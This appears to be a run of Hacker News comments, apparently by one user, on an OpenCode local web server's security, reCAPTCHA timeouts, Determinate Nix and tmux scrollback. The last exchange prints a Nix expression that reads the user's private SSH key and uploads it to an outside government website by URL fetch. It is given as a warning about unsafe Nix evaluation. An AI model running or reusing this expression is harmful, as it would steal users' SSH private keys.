Can you share what made this behavior obvious to you? E.g. when I first saw Open Code, it looked like yet another implementation of Claude Code, Codex-CLI, Gemini-CLI, Project Goose, etc. - all these are TUI apps for agentic coding. However, from these, only Open Code automatically started an unauthenticated web server when I simply started the TUI, so this came as a surprise to me.
> Browsers don't let random pages on the internet hit localhost without prompting you anymore
No, that's a Chrome-specific feature that Google added. It is not part of any standard, and does not exist in other browsers (e.g. Safari and Firefox).
> The rest is just code running as your user can talk to code running as your user
No, that assumes that there is only a single user on the machine, and there are either no forms of isolation or that all forms of isolation also use private network namespaces, which has not been how daemons are isolated in UNIX or by systemd. For example, if you were to ever run OpenCode as root, any local process can trivially gain root as well.
Huh? I have this permission in Firefox right now. It looks like Safari handles this with the OS local network permission.
True I did assume machines are single user, I haven't seen a shared computer in ages. Doing local development I have insecure/incomplete software listening on localhost all the time while developing it. And lots of people have passwordless sudo, or unprivileged access to the docker socket so protection against local processes running as me is not part of my threat model. And I know this is pretty dev centric but OpenCode is dev centric as well.
Looks like it's impossible for me to use this service - when I try to submit the form, I get a reCAPTCHA challenge. By the time I complete it (Google requires me to make several attempts, each one being several pages), the page errors out in the background with "reCAPTCHA execution timeout".
I don't think you understand. This website imposes its own time limit within which I must solve the CAPTCHA. Taking your time to solve the challenge slowly will not allow you to proceed, because the website's timeout will have expired.
- Formally stabilizing flakes has been long awaited by everyone, I think.
- Parallel evaluation will improve developer experience - evaluation speed seems to be at the top of the list of feedback I've received from colleagues whom I've invited to try Nix.
- I'm hoping lazy trees will provide a better experience for flakes in monorepos.
Unfortunately I haven't had a great experience with the Determinate Nix installer when I tried it, though that was a while ago (shortly after launch) so may warrant revisiting.
I'm also concerned about the growing schism between Determinate Systems and the Nix community, as can be seen in the Discourse thread. I think there are opportunities to strengthen that bridge, e.g. naming things perhaps such that it's not possible to misinterpret this announcement as "Nix 3.0".
I am also curious to know what is your strategy for upholding the flakes stability guarantee without forking Nix. I'm not sure what the governance structure or roadmap is of the community Nix project, but would it not be possible that the project would want to eventually introduce a breaking change (e.g. to revisit the cross-compilation or parameterization aspects) that would affect Determinate Nix users?
tmux takes over scrollback, so it's not possible to scroll the buffer in the same way as without tmux. This tool seems to solve the problem more elegantly.
That gets you scrolling, yes, but not in the same way as without tmux.
Without tmux, your terminal emulator uses its scroll-back buffer to render as you scroll, not requiring any intermediate copies of the lines of text scrolling into view.
With tmux, your terminal emulator no longer handles that, and instead tmux must pass a copy of each line freshly scrolled into view to the terminal emulator, which involves an intermediate copy of that text and re-triggers the terminal emulator’s parsing (as far as your terminal emulator is concerned, it has never seen this line of text yet). All of that (and some other subtle overhead I’m not mentioning here) are completely avoided outside of tmux (or more specifically: whenever the terminal emulator is free to manage its own scroll-back).
tmux does support scrolling and copy-paste, but they often work subtly differently than the way they do in a native terminal. For example, when I try putting `set -g mouse on` in `~/.tmux.conf`, scrolling mostly works fine but if I scroll up and then start typing or press up, I won't jump right to the bottom of the session the way I'm used to in native Alacritty (which I will often do as a way to return after scrolling back through a bunch of print output). This isn't a huge deal, and you can definitely get used to it, but it can be frustrating if you like how your normal terminal emulator works and don't want it to change.
This is kind of a strange comment to leave to the author of the tool that's being compared...
Obviously "nothing in life is free" - the person you're replying to literally spent a bunch of time writing a solution to their problem.
"what do you expect?" - the person literally wrote what they expected after having written the code to do exactly that. OP has been all over this thread being incredibly diplomatic in both explaining why they wrote a replacement for (part of) tmux, and constantly following it up with "but by all means if that doesn't sound right to you, use tmux it's a great tool".
It feels a lot like "well, if you don't like it go do it yourself", which is deeply ironic.
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.
How is that supposed to "delete my home directory"?
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
